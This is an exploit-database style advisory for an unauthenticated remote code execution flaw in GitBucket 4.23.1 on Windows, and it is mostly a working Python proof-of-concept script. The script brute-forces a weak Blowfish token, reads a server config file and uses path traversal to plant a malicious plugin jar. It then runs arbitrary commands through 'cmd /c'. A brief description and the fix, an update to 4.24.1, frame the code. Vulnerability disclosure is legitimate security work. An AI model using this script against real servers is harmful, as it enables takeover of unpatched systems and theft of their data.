# Exploit Title: GitBucket 4.23.1 Unauthenticated RCE
# Date: 21-05-2018
# Software Link: https://github.com/gitbucket/gitbucket
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# Category: remote
1. Description
Abusing weak secret token and passing insecure parameter to File function.
2. Proof of Concept
import os
try:
from Crypto.Cipher import Blowfish
except:
print "pip install pycrypto"
os._exit(0)
import binascii
import base64
import urllib2
import urllib
import time
import sys
import pickle
print "GitBucket 4.23.1 Unauthenticated RCE"
print "by Kacper Szurek"
print "https://security.szurek.pl/"
print "Working only when server is installed on Windows"
def PKCS5Padding(string):
byteNum = len(string)
packingLength = 8 - byteNum % 8
appendage = chr(packingLength) * packingLength
return string + appendage
def encrypt(content, key):
content = PKCS5Padding(content)
cipher = Blowfish.new(key, Blowfish.MODE_ECB)
return base64.b64encode(cipher.encrypt(content))
def get_file(git_bucket_url, file, key, expiration_time):
payload = "{} {}".format(expiration_time, file)
authorization = encrypt(payload, key)
url = "{}/git-lfs/aa/bb/{}".format(git_bucket_url, file)
try:
request = urllib2.Request(url)
request.add_header("Authorization", authorization)
result = urllib2.urlopen(request).read()
return result
except Exception, e:
# If payload is correct and file does not exist, we got error 400
if not "Error 500" in e.read():
return 'OK'
def put_file(git_bucket_url, file, key, expiration_time, content):
payload = "{} {}".format(expiration_time, file)
authorization = encrypt(payload, key)
url = "{}/git-lfs/aa/bb/{}".format(git_bucket_url, file)
try:
request = urllib2.Request(url, data=content)
request.add_header("Authorization", authorization)
request.get_method = lambda: 'PUT'
result = urllib2.urlopen(request)
return result.getcode() == 200
except Exception, e:
return None
def send_command(git_bucket_url, command):
try:
result = urllib2.urlopen("{}/exploit?{}".format(git_bucket_url, urllib.urlencode({'command' : command}))).read()
return result
except:
return None
def pickle_key(url, key):
output = open(pickle_path, "wb")
pickle.dump({'url' : url, 'key' : key}, output)
output.close()
print "[+] Key pickled for futher use"
def unpickle_key(url):
if os.path.isfile(pickle_path):
pickled_file = open(pickle_path, "rb")
data = pickle.load(pickled_file)
pickled_file.close()
if data['url'] == url:
return data['key']
return None
if len(sys.argv) != 3:
print "[-] Usage: exploit.py url command"
os._exit(0)
exploit_jar = 'exploit.jar'
url = sys.argv[1]
command = sys.argv[2]
pickle_path = 'gitbucket.pickle'
if url.endswith('/'):
url = url[0:-1]
try:
is_gitbucket = urllib2.urlopen("{}/api/v3/".format(url), timeout=5).read()
except:
is_gitbucket = ""
if not is_gitbucket.startswith('{"rate_limit_url"'):
print "[-] Probably not gitbucket url: {}".format(url)
os._exit(0)
if not os.path.isfile(exploit_jar):
print "[-] Missing exploit file: {}".format(exploit_jar)
os._exit(0)
expiration_time = int(round(time.time() * 1000))+(1000*6000)
print "[+] Set expire time to: {}".format(expiration_time)
print "[+] Start search blowfish key: "
for i in range(0, 10000):
if i % 100 == 0:
print "+",
potential_key = unpickle_key(url)
if potential_key:
print "\n[+] Unpickle key, try it"
else:
potential_key = str(i).zfill(4)
config_path = "non_existing_file"
config_content = get_file(url, config_path, potential_key, expiration_time)
if config_content:
print "\n[+] Found blowfish key: {}".format(potential_key)
print "[+] Config content:\n{}".format(config_content)
exploit_path = "..\..\..\..\plugins\exploit.jar"
f = open(exploit_jar, "rb")
exploit_content = f.read()
f.close()
if put_file(url, exploit_path, potential_key, expiration_time, exploit_content):
print "[+] Wait few second for plugin load"
time.sleep(5)
command_content = send_command(url, "cmd /c {}".format(command))
if command_content:
pickle_key(url, potential_key)
print command_content
else:
print "[-] Cannot execute command"
else:
print "[-] Cannot upload exploit.jar"
os._exit(0)
3. Solution:
Update to version 4.24.1
https://github.com/gitbucket/gitbucket/releases/download/4.24.1/gitbucket.war